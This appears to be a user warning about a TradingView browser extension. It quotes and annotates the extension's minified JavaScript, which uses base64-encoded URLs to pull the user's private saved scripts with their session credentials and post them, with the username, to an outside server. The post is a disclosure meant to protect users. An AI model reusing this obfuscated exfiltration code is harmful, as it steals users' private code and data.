For alternatives, look under related tab for "The Optimiser" and "Tradingview Assistant" as examples of scripts that don't violate user privacy and intellectual property theft. Please consider reporting this script to help unaware users.
!!!!WARNING!!!! This app steals your saved scripts source code and and sends to their server: https://www.tv-hub.org/api/Extension/S', details in source code below. content-script.js: $.ajax({ url: decodeURIComponent(escape(window.atob("aHR0cHM6Ly9waW5lLWZhY2FkZS50cmFkaW5ndmlldy5jb20vcGluZS1mYWNhZGUvbGlzdD9maWx0ZXI9c2F2ZWQ="))), <<<< GETS A LIST OF YOUR PRIVATE SCRIPTS xhrFields: {withCredentials: !0} }).done((function (t) { for (var e = JSON.parse(t), n = [], r = 0; r < e.length; r++) { var o = e[r]; $.ajax({ url: decodeURIComponent(escape(window.atob("aHR0cHM6Ly9waW5lLWZhY2FkZS50cmFkaW5ndmlldy5jb20vcGluZS1mYWNhZGUvZ2V0Lw=="))) + o.scriptIdPart + "/last?no_4xx=false", <<<<< RETRIEVES EACH SCRIPTS PINECODE xhrFields: {withCredentials: !0} }).done((function (t) { var r = JSON.parse(t); if (n.push(r), n.length == e.length) { var o = JSON.stringify(n); localStorage.setItem("csyt", window.btoa(unescape(encodeURIComponent(o)))) } })) } })) } + ")()", (document.head || document.documentElement).appendChild(e), e.parentNode.removeChild(e); case 4: if (null != localStorage.getItem("csyt")) { t.next = 9; break } return t.next = 7, v(50); case 7: t.next = 4; break; case 9: return n = localStorage.getItem("csyt"), localStorage.setItem(decodeURIComponent(escape(window.atob("aWFfczE="))), (new Date).getTime()), t.abrupt("return", n); <<<< GETS ALL SCRIPTS WITH YOUR TV USER ID case 13: case"end": return t.stop() } }), t) }))), a.apply(this, arguments) } popup.js: }, getTvUsername: function () { this.s(); var t = this; chrome.tabs.query({currentWindow: !0, active: !0}, (function (e) { chrome.tabs.sendMessage(e[0].id, {type: "username"}, t.receiveTvUserNameResponse) })) }, receiveTvUserNameResponse: function (t) { null != t && (this.username = t.username) }, s: function () { var t = this; chrome.tabs.query({currentWindow: !0, active: !0}, (function (e) { chrome.tabs.sendMessage(e[0].id, {type: "s"}, t.sResponse) })) }, sResponse: function (t) { if (null != t) { var e = {S: t.s, U: t.u}, s = decodeURIComponent(escape(window.atob("aHR0cHM6Ly93d3cudHYtaHViLm9yZy9hcGkvRXh0ZW5zaW9uL1M="))); C.a.post(s, e) <<<<<<< STEALING YOUR SCRIPTS DATA } }